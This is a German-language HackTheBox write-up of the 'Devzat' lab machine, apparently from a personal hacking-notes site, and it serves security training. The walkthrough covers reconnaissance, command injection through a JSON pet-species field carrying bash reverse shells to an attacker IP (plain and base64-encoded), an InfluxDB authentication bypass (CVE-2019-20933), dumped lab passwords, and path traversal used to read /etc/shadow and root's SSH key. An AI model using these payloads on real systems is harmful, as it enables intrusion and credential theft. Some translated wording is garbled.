> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/linux-medium/devzat-hackthebox-writeup.md). # Devzat HackTheBox Ausarbeitung {% embed url="" %} {% hint style="warning" %} **Fähigkeiten:** * Verzeichnis-Fuzzing * Web-Injection (RCE) * Missbrauch von InfluxDB (CVE-2019-20933) * Missbrauch des Devzat-Chat-/file-Befehls (Privilegieneskalation) {% endhint %} ## Aufklärung: **Einrichtung des Arbeitsbereichs:** Richten Sie den Arbeitsbereich ein, indem Sie drei Ordner erstellen, um wichtige Inhalte, Exploits und Nmap-Aufklärungsergebnisse zu speichern.

**VPN-Verbindung prüfen** Prüfen Sie die VPN-Verbindung, um eine stabile Kommunikation mit dem Zielsystem sicherzustellen.

**Offene-Ports-Ermittlung mit Nmap:** Erfassen Sie offene Ports und exportieren Sie die Ergebnisse in die Datei "allPorts" im Nmap-Verzeichnis: ```bash nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.11.118 -oG allPorts ```

**Analyse offener Ports mit extractPorts:** Mit der extractPorts-Funktion die offenen Ports in einem kompakten Format anzeigen und in die Zwischenablage kopieren (22.80.8000)

Port- und Versionsscan mit Nmap: Verwenden Sie Nmap, um die Service-Versionen zu scannen und die Ausgabe in der Datei "targeted" zu speichern: ```bash nmap -sCV -p22,80,8000 10.10.11.118 -oN targeted ```

Um Domänennamen über DNS in IP-Adressen aufzulösen, wird der mit seiner IP-Adresse verknüpfte Domänenname in das `/etc/hosts` Datei ein:

### Port 80

Verwenden von `whatweb`, finden wir eine mit der Website verknüpfte E-Mail-Adresse: `patrick@devzat.htb`.

Die Anwendung informiert uns außerdem, dass wir Port 8000 verwenden können, um per SSH zu „chat“ zu verbinden: ```bash ssh -l [username] devzat.htb -p 8000 ```

### Port 8000: Wir versuchen, uns zu verbinden, aber es tritt ein Problem auf, da ein SSH-Schlüssel erforderlich ist: ```bash ssh -l jordan devzat.htb -p 8000 ```

**Vorübergehendes Erzwingen der Verwendung von SSH-RSA:** Wir geben den für diese Sitzung zu verwendenden SSH-Schlüsseltyp mit der folgenden Option an: ```bash ssh -l jordan devzat.htb -p 8000 -o HostKeyAlgorithms=+ssh-rsa -o PubkeyAcceptedAlgorithms=+ssh-rsa ```

### **Devzat-Projekt (SSH-Chat):** {% hint style="info" %} Devzat ist ein benutzerdefinierter SSH-Server, der statt zu einer Befehlszeile mit einem Chat verbindet. Da SSH-Anwendungen auf allen Plattformen verfügbar sind (einschließlich Smartphones), können Sie sich von jedem Gerät aus mit Devzat verbinden. {% endhint %} Hier ist eine Liste von Befehlen, die in diesem Chat ausgeführt werden können:

### Fuzzing **von Verzeichnissen:** Wir verwenden `gobuster` um Verzeichnisse auf der Website aufzulisten: ```bash gobuster dir -u http://devzat.htb/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100 ``` Es wurden keine interessanten Ergebnisse gefunden.

### **Subdomain-Fuzzing** Wir suchen mit `gobuster`: ```bash gobuster vhost -u http://devzat.htb --append-domain -w /usr/share/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -t 100 | grep -Ev "403|302" ``` Wir entdecken das `pets.devzat.htb` Subdomain und fügen sie der `/etc/hosts` vorhandenen Benutzern.

## **Verwundbarkeit (RCE) JSON :**

Wir haben die Möglichkeit, „pets“ mit ihren Arten hinzuzufügen, was eine JSON-Injektion ermöglicht.

Wir fangen Anfragen mit Burp Suite ab und versuchen, die Anfrage zu manipulieren, indem wir einen Eintrag mit Name und Art hinzufügen:

Dieser Eintrag wird interpretiert und ermöglicht eine Injektion. ```json { "Name": "jordan", "Spezies": "jordan" } ```

Wir lauschen auf ICMP-Traces, um die Kommunikation zu beobachten und Befehlsinjektionen zu testen: ```bash sudo tcpdump -i tun0 icmp ``` Wir erhalten eine Ping-Antwort zurück, was die Möglichkeit der Ausführung von Remote-Befehlen bestätigt.

Dann senden wir eine Anfrage mit `curl` an unseren Python-Server und erhalten ebenfalls eine Anfrage, was die Schwachstelle für Remote Code Execution bestätigt. ```bash { "Name": "jordan", "Spezies": "test;bash -c \"bash -i >%26 /dev/tcp/10.10.14.12/443 0>%261\"" } ```

### Reverse Shell Wir versuchen, eine Reverse Shell zu erstellen: ```bash bash -c "bash -i >%26 /dev/tcp/10.10.14.12/443 0>%261" ``` Allerdings tritt ein Ausgabefehler auf.

**Lösung des Fehlers (Reverse Shell):** Um diesen Fehler zu beheben, erstellen wir eine HTML-Datei mit der Reverse Shell, die wir in base64 kodieren: ```bash #!/bin/bash bash -i >& /dev/tcp/10.10.14.12/443 0>&1 ``` Wir konvertieren diese Datei in base64: ```bash base64 -w 0 index.html ```

In der Anfrage führen wir das Echo des kodierten base64-Strings aus und dekodieren ihn vor dem Start der Shell: {% code overflow="wrap" %} ```bash { "Name": "jordan", "Species": "test;echo IyEvYmluL2Jhc2ggCmJhc2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTQuMTIvNDQzIDA+JjEK | base64 -d | bash" } ``` {% endcode %} Nochmals lauschen wir auf Port 443 und erhalten eine Reverse Shell.

#### **Terminal-Bedienung:** Um unsere Sitzung zu stabilisieren, verwenden wir die folgenden Befehle: ```bash script /dev/null -c bash # Ctrl+Z stty raw -echo; fg reset xterm export TERM=xterm export SHELL=bash stty rows 44 columns 184 ``` ## Privilegieneskalation Wir stellen fest, dass erhöhte Rechte erforderlich sind. Wir müssen wechseln, um Zugriff auf das `catherine` Benutzerkonto zu erhalten.

#### Identifizierung offener Ports Zuerst beobachten wir die intern geöffneten Ports mit dem folgenden Befehl: ```bash netstat -nltp ``` Die offenen Ports sind: * 8086 * 8443 * 5000

### Portweiterleitung (SSH) Wir leiten interne Ports mit dem privaten Schlüssel des Benutzers und unter Anwendung der richtigen Berechtigungen auf unsere Angriffsmaschine um: ```bash chmod 600 id_rsa ```

```bash sudo ssh -L 8086:127.0.0.1:8086 -L 8443:127.0.0.1:8443 -L 5000:127.0.0.1:5000 patrick@devzat.htb -i id_rsa ``` Wir verwenden dann `nmap` um umgeleitete Ports zu scannen: ```bash nmap -sCV -p5000,8443,8086 localhost -oN targeted ``` ### Port 5000:

Wir stellen fest, dass dieser Port mit demselben Dienst verbunden ist, der auf Port 8000 gefunden wurde, was uns keinen zusätzlichen Exploit-Pfad bietet.

### **Port 8086 (InfluxDB)** Der Dienst auf Port 8086 ist InfluxDB, Version 1.7.5. Wir identifizieren eine NCE- (Remote Code Execution-) Schwachstelle in InfluxDB:

**Schwachstelle :** [CVE-2019-20933](https://nvd.nist.gov/vuln/detail/CVE-2019-20933) {% embed url="" %} {% hint style="info" %} Diese Schwachstelle ermöglicht es Ihnen, die Authentifizierung zu umgehen, indem Sie ein JWT-Token verwenden, dessen `SharedSecret` leer ist (auch bekannt als gemeinsames Geheimnis), wodurch wir Zugriff auf die Datenbank erhalten. {% endhint %}

#### Zugriff auf die Datenbank Sobald wir mit InfluxDB verbunden sind, listen wir die verfügbaren Datenbanken auf: ```sql SHOW DATABASES; ``` Wir wählen die `devzat` Datenbank aus und untersuchen die Benutzerdaten. Wir beginnen damit, die „Messungen“ (Tabellen) aufzulisten: ```sql SHOW MEASUREMENTS; ``` Das **`Benutzer`** Die Tabelle enthält nützliche Informationen. Um die Spalten dieser Messung zu untersuchen, führen wir aus: ```sql SHOW FIELD KEYS FROM "user"; ``` Dann zeigen wir die ersten 10 Ergebnisse für die `Benutzer` Tabelle: ```sql SELECT * FROM "user" LIMIT 10; ```


Passwort	Benutzernamen
WillyWonka2021	wilhelm
woBeeYareedahc7Oogeephies7Aiseci	catherine
RoyalQueenBee$	charles

Das Passwort des catherine-Benutzers ist **`woBeeYareedahc7Oogeephies7Aiseci`**, wodurch wir das **Flag** Benutzer. ### Flagge user.txt :) Wir erhalten erfolgreich Zugriff und pivotieren als `catherine`.

### Port 8443 (Devzat - Produktion) Port 8443 ist einer Instanz von Devzat in Produktion zugeordnet. Wir stellen fest, dass ein `Datei` Parameter alle Dateien im System als root auflistet. Der Zugriff auf diese Funktion ist jedoch durch ein Passwort geschützt.

Wir versuchen, das catherine-Passwort zu verwenden, aber es schlägt fehl. Wir müssen nun nach Dateien suchen, die catherine auf dem System lesen kann.

### Nach zugänglichen Dateien von Catherine suchen Wir verwenden den folgenden Befehl, um nach allen von catherine lesbaren Dateien zu suchen: ```bash find / -user catherine -readable 2>/dev/null | grep -vE "cgroup|proc" ``` Wir finden zwei `.zip` Backup-Dateien: * `/var/backups/devzat-main.zip` * `/var/backups/devzat-dev.zip` Wir laden die `devzat-dev.zip` Backup-Datei und filtern ihren Inhalt nach Passwörtern. Wir finden ein nützliches Passwort: **`CeilingCatStillAThingIn2021?`**.

Wir versuchen dann, dieses Passwort zu verwenden, um auf die `/etc/shadow` Datei über die `Datei` Parameter anfällig für Open Redirect ist: ```bash /file /etc/shadows CeilingCatStillAThingIn2021? ``` Obwohl das Passwort korrekt ist, wird ein **Pfad-Traversal** erforderlich, um vollen Zugriff zu erhalten. Wir verwenden den folgenden Befehl, um im Dateisystem zu navigieren:

```bash /file ../../../../etc/shadow CeilingCatStillAThingIn2021? ``` Wir schaffen es, die `/etc/shadow` Datei als root anzuzeigen.

### SSH-Zugriff als Root Schließlich verwenden wir ein zusätzliches Traversal, um auf den root-SSH-Schlüssel zuzugreifen: ```bash /file ../../../../root/.ssh/id_rsa CeilingCatStillAThingIn2021? ```

Wir laden den SSH-Schlüssel herunter und verbinden uns als root.

### Flag root.txt :)

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter: ``` GET https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/linux-medium/devzat-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.